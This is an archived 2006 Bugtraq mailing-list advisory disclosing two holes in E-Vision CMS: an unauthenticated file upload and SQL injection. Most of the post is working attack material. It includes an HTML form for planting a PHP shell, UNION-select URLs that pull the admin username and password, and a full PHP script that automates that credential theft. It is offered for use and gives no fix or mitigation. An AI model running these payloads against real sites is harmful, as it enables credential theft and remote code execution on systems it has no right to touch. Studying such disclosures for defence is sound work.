lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20060922062639.8841.qmail@securityfocus.com>
Date: 22 Sep 2006 06:26:39 -0000
From: security@...or.net
To: bugtraq@...urityfocus.com
Subject: E-Vision CMS Multible Remote injections

Hello,,

E-Vision CMS Multible Remote injections (SQL and File upload)

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@...or.net


upload any file

admin/x_image.php
this file is used to upload files and it does not check the permission

This file can be used to upload any file to the dir /imagebank
replace http://localhost/evision_cms/ to the website dir and choose any file to upload it will be uploaded

<form enctype="multipart/form-data" action="http://localhost/evision_cms/admin/x_image.php" method="POST">
<input type=hidden name="insert" value="insert">
<input type=hidden name="s_rc" value="file://">
Upload PHP Shell : <input type="file" name="file_upload">
<br>
<input type=submit value="upload">

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sql Injection
Password:
admin/all_users.php?from=-1%20union%20select%20null,null,null,pass,null%20from%20users%20where%20idusers=1/*
User Name:
admin/all_users.php?from=-1%20union%20select%20null,null,null,username,null%20from%20users%20where%20idusers=1/*

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Exploits :-
For PHP shell uploading:-
<form enctype="multipart/form-data" action="http://localhost/evision_cms/admin/x_image.php" method="POST">
<input type=hidden name="insert" value="insert">
<input type=hidden name="s_rc" value="file://">
Upload PHP Shell : <input type="file" name="file_upload">
<br>
<input type=submit value="upload">
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
For Sql injection:-
#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* e-Vision CMS Remote sql injection exploit
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/* e-Vision CMS Remote sql injection exploit  */
/*    by HACKERS PAL <security@...or.net>     */
/*        site: http://www.soqor.net          */');
if ($argc<2) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/evision
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit="/admin/all_users.php?from=-1%20union%20select%20null,null,null,username,null%20from%20users%20where%20idusers=1/*";
$exploit2="/admin/all_users.php?from=-1%20union%20select%20null,null,null,pass,null%20from%20users%20where%20idusers=1/*";

         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

         function get($var)
         {
                 if(strlen($var[1])>0)
                 {
                  Echo trim($var[1]);
                  }
         }

     $page = get_page($url.$exploit);
     $page2 = get_page($url.$exploit2);

     if(preg_match('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is',$page))
     {
      Echo "\n[+] User Name : ";
         preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page);
       Echo "\n[+] Pass Word : ";
          preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page2);
        Die("\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
             }

                Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
?>

#WwW.SoQoR.NeT

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ